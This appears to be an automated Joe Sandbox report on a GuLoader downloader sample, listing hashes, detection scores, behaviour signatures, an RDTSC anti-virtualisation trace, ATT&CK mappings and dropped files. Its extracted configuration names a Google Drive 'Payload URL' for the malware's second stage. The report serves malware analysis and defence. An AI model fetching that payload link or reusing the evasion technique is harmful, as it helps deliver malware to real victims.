Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Bluepoint2.exe

Overview

General Information

Sample Name:Bluepoint2.exe
Analysis ID:625508
MD5:c792c744dde586c896d6ca8cceb0e04a
SHA1:66273efb747ba478fc7c2122f647c0a01d16c4ca
SHA256:4385dcd25c41dcc70603b48daa969cb455c6fd605f7b3a7e6088557b9ab4964a
Tags:exe
Infos:

Detection

GuLoader
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
PE file does not import any functions
Drops PE files
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
PE / OLE file has an invalid certificate
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Abnormal high CPU Usage
Contains functionality for read data from the clipboard

Classification

  • System is w10x64
  • Bluepoint2.exe (PID: 6336 cmdline: "C:\Users\user\Desktop\Bluepoint2.exe" MD5: C792C744DDE586C896D6CA8CCEB0E04A)
  • cleanup
{"Payload URL": "https://drive.google.com/uc?export=download&id=1octpIAVRhdcovKdwE5x43Ys6qBKX9XGT"}
SourceRuleDescriptionAuthorStrings
00000000.00000002.881039199.0000000003330000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    No Sigma rule has matched
    No Snort rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: 00000000.00000002.881039199.0000000003330000.00000040.00001000.00020000.00000000.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1octpIAVRhdcovKdwE5x43Ys6qBKX9XGT"}
    Source: Bluepoint2.exeVirustotal: Detection: 32%Perma Link
    Source: Bluepoint2.exeReversingLabs: Detection: 42%
    Source: Bluepoint2.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
    Source: Bluepoint2.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405D74
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_0040699E FindFirstFileW,FindClose,0_2_0040699E
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_0040290B FindFirstFileW,0_2_0040290B

    Networking

    barindex
    Source: Malware configuration extractorURLs: https://drive.google.com/uc?export=download&id=1octpIAVRhdcovKdwE5x43Ys6qBKX9XGT
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
    Source: Bluepoint2.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://ocsp.digicert.com0C
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://ocsp.digicert.com0N
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://ocsp.digicert.com0O
    Source: Bluepoint2.exeString found in binary or memory: http://s.symcb.com/universal-root.crl0
    Source: Bluepoint2.exeString found in binary or memory: http://s.symcd.com06
    Source: Bluepoint2.exeString found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
    Source: Bluepoint2.exeString found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
    Source: Bluepoint2.exeString found in binary or memory: http://ts-ocsp.ws.symantec.com0;
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://www.avast.com0/
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: http://www.digicert.com/CPS0
    Source: Bluepoint2.exeString found in binary or memory: https://d.symcb.com/cps0%
    Source: Bluepoint2.exeString found in binary or memory: https://d.symcb.com/rpa0
    Source: Bluepoint2.exeString found in binary or memory: https://d.symcb.com/rpa0.
    Source: Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drString found in binary or memory: https://www.digicert.com/CPS0
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_00405809
    Source: Bluepoint2.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
    Source: lang-1026.dll.0.drStatic PE information: No import functions for PE file found
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403640
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00406D5F0_2_00406D5F
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_726F1BFF0_2_726F1BFF
    Source: Bluepoint2.exeStatic PE information: invalid certificate
    Source: C:\Users\user\Desktop\Bluepoint2.exeProcess Stats: CPU usage > 98%
    Source: Bluepoint2.exeVirustotal: Detection: 32%
    Source: Bluepoint2.exeReversingLabs: Detection: 42%
    Source: C:\Users\user\Desktop\Bluepoint2.exeFile read: C:\Users\user\Desktop\Bluepoint2.exeJump to behavior
    Source: Bluepoint2.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
    Source: C:\Users\user\Desktop\Bluepoint2.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: C:\Users\user\Desktop\Bluepoint2.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403640
    Source: C:\Users\user\Desktop\Bluepoint2.exeFile created: C:\Users\user\AppData\Local\Temp\nsg1EC4.tmpJump to behavior
    Source: classification engineClassification label: mal72.troj.evad.winEXE@1/5@0/0
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_004021AA CoCreateInstance,0_2_004021AA
    Source: C:\Users\user\Desktop\Bluepoint2.exeFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_00404AB5
    Source: Bluepoint2.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

    Data Obfuscation

    barindex
    Source: Yara matchFile source: 00000000.00000002.881039199.0000000003330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_726F30C0 push eax; ret 0_2_726F30EE
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_726F1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_726F1BFF
    Source: C:\Users\user\Desktop\Bluepoint2.exeFile created: C:\Users\user\AppData\Local\Temp\nsg1F62.tmp\System.dllJump to dropped file
    Source: C:\Users\user\Desktop\Bluepoint2.exeFile created: C:\Users\user\AppData\Local\Temp\lang-1026.dllJump to dropped file
    Source: C:\Users\user\Desktop\Bluepoint2.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

    Malware Analysis System Evasion

    barindex
    Source: C:\Users\user\Desktop\Bluepoint2.exeRDTSC instruction interceptor: First address: 000000000333D4A7 second address: 000000000333D4A7 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F62B8F0DC53h 0x00000006 test dh, dh 0x00000008 inc ebp 0x00000009 jmp 00007F62B8F0DCC2h 0x0000000b test cx, ax 0x0000000e inc ebx 0x0000000f rdtsc
    Source: C:\Users\user\Desktop\Bluepoint2.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\lang-1026.dllJump to dropped file
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405D74
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_0040699E FindFirstFileW,FindClose,0_2_0040699E
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_0040290B FindFirstFileW,0_2_0040290B
    Source: C:\Users\user\Desktop\Bluepoint2.exeAPI call chain: ExitProcess graph end nodegraph_0-4499
    Source: C:\Users\user\Desktop\Bluepoint2.exeAPI call chain: ExitProcess graph end nodegraph_0-4280
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_726F1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_726F1BFF
    Source: C:\Users\user\Desktop\Bluepoint2.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403640
    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid Accounts1
    Native API
    Path Interception1
    Access Token Manipulation
    1
    Access Token Manipulation
    OS Credential Dumping1
    Security Software Discovery
    Remote Services1
    Archive Collected Data
    Exfiltration Over Other Network Medium1
    Encrypted Channel
    Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
    System Shutdown/Reboot
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
    Obfuscated Files or Information
    LSASS Memory2
    File and Directory Discovery
    Remote Desktop Protocol1
    Clipboard Data
    Exfiltration Over Bluetooth1
    Application Layer Protocol
    Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account Manager13
    System Information Discovery
    SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand
    SourceDetectionScannerLabelLink
    Bluepoint2.exe33%VirustotalBrowse
    Bluepoint2.exe42%ReversingLabsWin32.Downloader.GuLoader
    SourceDetectionScannerLabelLink
    C:\Users\user\AppData\Local\Temp\lang-1026.dll0%VirustotalBrowse
    C:\Users\user\AppData\Local\Temp\lang-1026.dll0%MetadefenderBrowse
    C:\Users\user\AppData\Local\Temp\lang-1026.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsg1F62.tmp\System.dll0%MetadefenderBrowse
    C:\Users\user\AppData\Local\Temp\nsg1F62.tmp\System.dll0%ReversingLabs
    No Antivirus matches
    No Antivirus matches
    SourceDetectionScannerLabelLink
    http://www.avast.com0/0%URL Reputationsafe
    No contacted domains info
    NameSourceMaliciousAntivirus DetectionReputation
    http://www.avast.com0/Bluepoint2.exe, 00000000.00000002.880646798.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Bluepoint2.exe, 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmp, lang-1026.dll.0.drfalse
    • URL Reputation: safe
    unknown
    http://nsis.sf.net/NSIS_ErrorErrorBluepoint2.exefalse
      high
      No contacted IP infos
      Joe Sandbox Version:34.0.0 Boulder Opal
      Analysis ID:625508
      Start date and time: 12/05/202219:29:082022-05-12 19:29:08 +02:00
      Joe Sandbox Product:CloudBasic
      Overall analysis duration:0h 8m 0s
      Hypervisor based Inspection enabled:false
      Report type:full
      Sample file name:Bluepoint2.exe
      Cookbook file name:default.jbs
      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
      Number of analysed new started processes analysed:20
      Number of new started drivers analysed:0
      Number of existing processes analysed:0
      Number of existing drivers analysed:0
      Number of injected processes analysed:0
      Technologies:
      • HCA enabled
      • EGA enabled
      • HDC enabled
      • AMSI enabled
      Analysis Mode:default
      Analysis stop reason:Timeout
      Detection:MAL
      Classification:mal72.troj.evad.winEXE@1/5@0/0
      EGA Information:
      • Successful, ratio: 100%
      HDC Information:
      • Successful, ratio: 86.1% (good quality ratio 85.1%)
      • Quality average: 88%
      • Quality standard deviation: 20.9%
      HCA Information:
      • Successful, ratio: 100%
      • Number of executed functions: 39
      • Number of non-executed functions: 33
      Cookbook Comments:
      • Found application associated with file extension: .exe
      • Adjust boot time
      • Enable AMSI
      • Override analysis time to 240s for sample files taking high CPU consumption
      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
      • Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
      • Not all processes where analyzed, report is missing behavior information
      No simulations
      No context
      No context
      No context
      No context
      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
      C:\Users\user\AppData\Local\Temp\nsg1F62.tmp\System.dllSecuriteInfo.com.W32.AIDetect.malware2.8516.exeGet hashmaliciousBrowse
        SecuriteInfo.com.W32.AIDetect.malware2.8516.exeGet hashmaliciousBrowse
          SD 2477.exeGet hashmaliciousBrowse
            SD 2477.exeGet hashmaliciousBrowse
              aSsc9zh1ex.exeGet hashmaliciousBrowse
                aSsc9zh1ex.exeGet hashmaliciousBrowse
                  TransportLabel_6170453602.xlsxGet hashmaliciousBrowse
                    PO#4200000866.exeGet hashmaliciousBrowse
                      PO#4200000866.exeGet hashmaliciousBrowse
                        Transferencia.exeGet hashmaliciousBrowse
                          Transferencia.exeGet hashmaliciousBrowse
                            EPAYMENT.exeGet hashmaliciousBrowse
                              EPAYMENT.exeGet hashmaliciousBrowse
                                xcVh7ZmH4Y.exeGet hashmaliciousBrowse
                                  OR17233976_00019489_20170619154218.xlsxGet hashmaliciousBrowse
                                    xcVh7ZmH4Y.exeGet hashmaliciousBrowse
                                      3GJ6S3Kwnb.exeGet hashmaliciousBrowse
                                        3GJ6S3Kwnb.exeGet hashmaliciousBrowse
                                          file.exeGet hashmaliciousBrowse
                                            file.exeGet hashmaliciousBrowse
                                              C:\Users\user\AppData\Local\Temp\lang-1026.dllSD 2477.exeGet hashmaliciousBrowse
                                                SD 2477.exeGet hashmaliciousBrowse
                                                  Process:C:\Users\user\Desktop\Bluepoint2.exe
                                                  File Type:data
                                                  Category:dropped
                                                  Size (bytes):129284
                                                  Entropy (8bit):7.157189090297081
                                                  Encrypted:false
                                                  SSDEEP:1536:CsBTmuLAZFPa47dQCcpHFoY0uGAJ5BfmZi+RSxmQMGEvO/Tc/M4aJtp9N5Ki5fcb:COzYUWXcNwCmZi+0IPvOwMZvp3jfcvz
                                                  MD5:F61E66C8CD7F81A887EA6273F4C9976B
                                                  SHA1:CBCC8B26E456B3F68D1973B02805E88E1D785C9F
                                                  SHA-256:94FBA9DEAF2EFEE1AB3D8B92DB5712EB78A57F446C339E7A457D561FB74F9124
                                                  SHA-512:0D956030378A7E9DBBB461F802BE73B173C45EB60DF2158D0BB345F1D1291172B092BEC16706B9C568580F379F45384344052D70417F4B98336A36067F082B23
                                                  Malicious:false
                                                  Reputation:low
                                                  Preview:.<4.N...l.a..W!..d.jh.r..o...u....l..7.=....c=..r....,.o,...f........y....].....Uia?...f.+A..jI>......b....s......Zp..W.r.g7U:=|_....eC.F...f.......~.h.f5...x.Dv...o.....oI.....)i:.hg....5....2EZ..4.l........P.&...:&.eo.((.^A.".d...(bR.h.K.jmuRz~....;.\T.[gI]W.E..m..V..6.oa........g.....o..&..K....!.n..A.I.$..%....^.B7P.<E.-......8]K......9...........\k....A...k@."..~.0....D.F..u.N!...jon+0^2.w.O.f..w;..8..^r..*;$Vs...bk^......#]zQ}cp...{G...=C........'.k...6.c....^..-..BJ).+.nTY.U...^.g.1..{.d.?B.+.#kH.....X.lzU.P.Cx.`............Z..V...b...T.@Y..VH....Y.K.9a.P.b.......l........i.H...4....}.z.......t....Fv.....F..7E.P.P......q...x+......%.,..."..^........&...g.?.FtL...R.....D~Y1#...E%......1!sV'.P..v.&S....N}..|...8..Dt.!_.'.e.0n8..V...o..?l.....l.....q.>...KK...79..R....)...H...5 .g.q........<.h....2M.?E...A;+.....0.P......yX....y...t.).0...Hs..\.k.5y.^..t8.fg+s.H..Z..<...../orFU7..~8...Q.l....!.....n.RClg..a..Q...W.....d..b..-..n.umq&#...[.r....E.
                                                  Process:C:\Users\user\Desktop\Bluepoint2.exe
                                                  File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                  Category:dropped
                                                  Size (bytes):288
                                                  Entropy (8bit):7.002703251110111
                                                  Encrypted:false
                                                  SSDEEP:6:6v/lhPysDjYOGW78zHS1w9xuIGXdvkFRBp9rXHEb/GY1IX2NYKjp:6v/7jjYOGW7Rw9xu6pxHG/VIX6F
                                                  MD5:A83F8C904AFA9E3F6A50D263747CF6DF
                                                  SHA1:7B9D99B950518FCAF5AC59350823D2B20E82956F
                                                  SHA-256:F57C0B31EC836E26EB609F259CFA68DDA95F09685784423B61075DAE4BBA5BF6
                                                  SHA-512:4B2DC243E86514BDC816B92808C491EF71B72690F25C2372FE909CED3A103F990708C507065169FA5C6F823A8B1ADADB7BF13696E78C807A973789CF14CA3A06
                                                  Malicious:false
                                                  Reputation:low
                                                  Preview:.PNG........IHDR................a....sBIT....|.d.....IDAT8...N.Q...'.....X.s.^../H.f.....BJ....V[.b..qsvA..d..y.9?...z.`./....'..[.Q..'...M.....mwuN.\....h..(|........p.K..I.%..... ..*..x.t~.kW.`V'.8.W.K.l.4..9.&\..k..3F........4.0.op.rL#.....N:.=.T.[....L.....p...#....IEND.B`.
                                                  Process:C:\Users\user\Desktop\Bluepoint2.exe
                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):175112
                                                  Entropy (8bit):4.206629648207283
                                                  Encrypted:false
                                                  SSDEEP:768:RSlFida9bh1hROyu8YLPiOqdo3Hioanc1rfs648UPU5hTIFUqxtIB870kWZtnJkX:RJryZYLqtboZqFpx+eovZtlffdGUmx
                                                  MD5:726030B3909A4C3FD5810F45E55A989D
                                                  SHA1:DF628878449CB026352D2A31E98A70BA6632AB0F
                                                  SHA-256:5331D12B2F89F2FB013BC4D05FD449D1DCFE7C470A20271CFE13043E74C974EF
                                                  SHA-512:41EE067BCDA5D83B854419487BBBE1A9259AFB090F513EF671BC05D6B0EB865D62CFBB5104FBFD162788A0B8FB340B78EECE67EBE780219C7CAB4201550FA6E9
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Joe Sandbox View:
                                                  • Filename: SD 2477.exe, Detection: malicious, Browse
                                                  • Filename: SD 2477.exe, Detection: malicious, Browse
                                                  Reputation:low
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.@...R.@.P...R.Rich..R.................PE..L....\)b...........!................................................................".....@.......................................... ................... ...........................................................................................rdata..p...........................@..@.rsrc........ ......................@..@.....\)b........T........................rdata......T....rdata$zzzdbg.... ... ...rsrc$01.....@..Hf...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                  Process:C:\Users\user\Desktop\Bluepoint2.exe
                                                  File Type:SVG Scalable Vector Graphics image
                                                  Category:modified
                                                  Size (bytes):1035
                                                  Entropy (8bit):5.036414547847537
                                                  Encrypted:false
                                                  SSDEEP:24:t4CjlPIRyDZDZDZ5yKbRAecFhBrN3AGM+pMRg:eONtAecFZTMDg
                                                  MD5:28998D417311CCDE1069B6F52E3D099A
                                                  SHA1:E7609DCCDE7CB750D2DCC02A2DD360B5D523E995
                                                  SHA-256:C6DEAA9F5B658892A04EDA56027A779E3A5CA1F9CFD4E156E594A63B7AADDF00
                                                  SHA-512:CD597AD3BD4738F05A2963FE27C38B948F08836C8F18588CC98B457FEE4565D68B379620380A9DE4E6ED3F55331AB3CFB943664B600C36BAB857486D9F2E4EE3
                                                  Malicious:false
                                                  Reputation:moderate, very likely benign file
                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16">. <g fill="#2e3436">. <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:normal;shape-padding:0;isolation:auto;mix-blend-mode:normal;solid-color:#000;solid-opacity:1" color="#000" font-weight="400" font-family="sans-serif" overflow="visible" opacity=".35" fill-rule="evenodd" transform="translate(-152 -248)"/>. <path d="M 151.99995,256.00012 H 168 V 259 h -16.00005 z" transform="trans
                                                  Process:C:\Users\user\Desktop\Bluepoint2.exe
                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):12288
                                                  Entropy (8bit):5.814115788739565
                                                  Encrypted:false
                                                  SSDEEP:192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
                                                  MD5:CFF85C549D536F651D4FB8387F1976F2
